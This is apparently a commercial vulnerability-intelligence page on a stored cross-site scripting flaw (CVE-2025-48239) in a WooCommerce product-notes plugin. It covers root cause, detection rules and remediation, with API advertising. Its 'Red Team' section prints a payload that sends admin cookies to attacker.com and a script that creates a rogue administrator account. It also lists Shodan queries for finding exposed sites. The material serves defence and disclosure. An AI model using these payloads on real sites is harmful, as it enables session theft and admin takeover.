☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpfactory logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48239

CVE-2025-48239 Cross-Site Scripting in Wpfactory
📅 PUBLISHED: 2025-05-19 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48239 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPFactory Product Notes Tab & Private Admin Notes for WooCommerce plugin (slug: product-notes-for-woocommerce), affecting versions up to and including 3.1.0. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into product note fields, which is then stored and executed when an administrator or other user views the affected product page in the WordPress admin panel.

The vulnerability resides in improper neutralization of user-supplied input during web page generation. Since this is a WordPress plugin, the attack surface is limited to authenticated users, but the stored payload can lead to session hijacking, privilege escalation, or defacement within the WooCommerce admin interface.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed directly via the WordPress admin dashboard or by uploading the ZIP file. Users should verify the plugin version and apply any available updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – the vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): Low – attacker needs contributor-level access.
  • User Interaction (UI): Required – victim must view the malicious note.
  • Scope (S): Changed – impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure.
  • Integrity (I): Low – limited data modification.
  • Availability (A): Low – limited service disruption.

Threat Level: Medium. Exploitation requires authentication, but the stored XSS can lead to admin account takeover if an administrator views the note.

Deep Dive & Mechanics

The vulnerability exists in the product-notes-for-woocommerce plugin, which adds a custom meta box to WooCommerce product edit pages. The plugin allows users with appropriate permissions to add private notes to products. The input is not properly sanitized before being stored in the database and later rendered in the admin interface.

Root Cause: The plugin uses echo or the_content filter without applying WordPress escaping functions like esc_html() or wp_kses_post() when displaying the note content. This allows an attacker to inject HTML and JavaScript.

Attack Flow:

  1. An authenticated user with contributor role or higher navigates to a WooCommerce product edit page.
  2. The user inserts a malicious payload into the "Product Note" field, e.g., <script>alert('XSS')</script>.
  3. The plugin stores the payload in the wp_postmeta table under the _product_note meta key.
  4. When an administrator or another user views the product edit page, the plugin retrieves and renders the note without sanitization.
  5. The injected script executes in the victim's browser, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.1.0):

// In a template or admin display function
$note = get_post_meta( $post_id, '_product_note', true );
echo '<div class="product-note">' . $note . '</div>';

Patched Code (hypothetical fix):

$note = get_post_meta( $post_id, '_product_note', true );
echo '<div class="product-note">' . esc_html( $note ) . '</div>';

The patched version uses esc_html() to encode HTML special characters, preventing script execution. Alternatively, wp_kses_post() could be used to allow safe HTML while stripping dangerous tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with WooCommerce and the vulnerable plugin (version <= 3.1.0).
  • An authenticated user account with at least contributor role.

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to Products > All Products and edit any product.
  3. In the "Product Note" meta box (usually below the editor), enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Click Update to save the product.
  5. When an administrator views the same product edit page, the script executes, sending their session cookie to the attacker's server.

Alternative Payload (for privilege escalation):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/user-new.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=createuser&_wpnonce=<nonce>&user_login=attacker&email=attacker@example.com&role=administrator');
</script>

Note: The attacker would need to obtain a valid nonce, which can be extracted from the page source.

Blue Team

Detection Steps:

  1. Monitor for unusual POST requests to /wp-admin/post.php with action=editpost and meta_input[_product_note] containing script tags.
  2. Review database entries in wp_postmeta where meta_key = '_product_note' and meta_value contains <script> or onerror attributes.
  3. Check web server logs for requests to /wp-admin/post.php from contributor-level users followed by admin-level access to the same product.

Hunting Query (SQL):

SELECT * FROM wp_postmeta 
WHERE meta_key = '_product_note' 
AND (meta_value LIKE '%<script%' OR meta_value LIKE '%onerror%' OR meta_value LIKE '%onload%');

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/product-notes-for-woocommerce/product-notes-for-woocommerce.php (version <= 3.1.0)
  • Database: wp_postmeta entries with meta_key = '_product_note' containing HTML/JavaScript.
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
  • Logs: Repeated POST requests to /wp-admin/post.php with meta_input[_product_note] parameter containing encoded script tags.

Detection Engineering

YARA Rule

rule CVE_2025_48239_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Product Notes Tab plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48239"
    strings:
        $meta_key = "_product_note"
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        $meta_key and ($script_tag or $event_handler)
}

Sigma Rule

title: Stored XSS via Product Notes Tab Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the Product Notes Tab plugin for WooCommerce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/post.php'
        cs-uri-query:
            - '*action=editpost*'
            - '*meta_input[_product_note]*'
    condition: selection
falsepositives:
    - Legitimate use of HTML in notes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48239 Stored XSS Payload in Product Notes"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"meta_input[_product_note]"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin: If a patched version becomes available, update to the latest version immediately.
  2. Disable the plugin: If no patch is available, deactivate and delete the plugin until a fix is released.
  3. Restrict user roles: Limit contributor and author roles to only trusted users. Consider using a plugin like "User Role Editor" to remove the ability to edit products from lower-level roles.

Long-Term Mitigations:

  • Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST parameters.
  • Enforce Content Security Policy (CSP) headers in the WordPress admin area to prevent inline script execution.
  • Regularly audit plugin code for security vulnerabilities using static analysis tools.

Workaround:

  • Manually patch the plugin by adding esc_html() around the note output in the plugin's template file (if you have development resources).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Product Notes Tab"
http.html:"product-notes-for-woocommerce"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48239/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.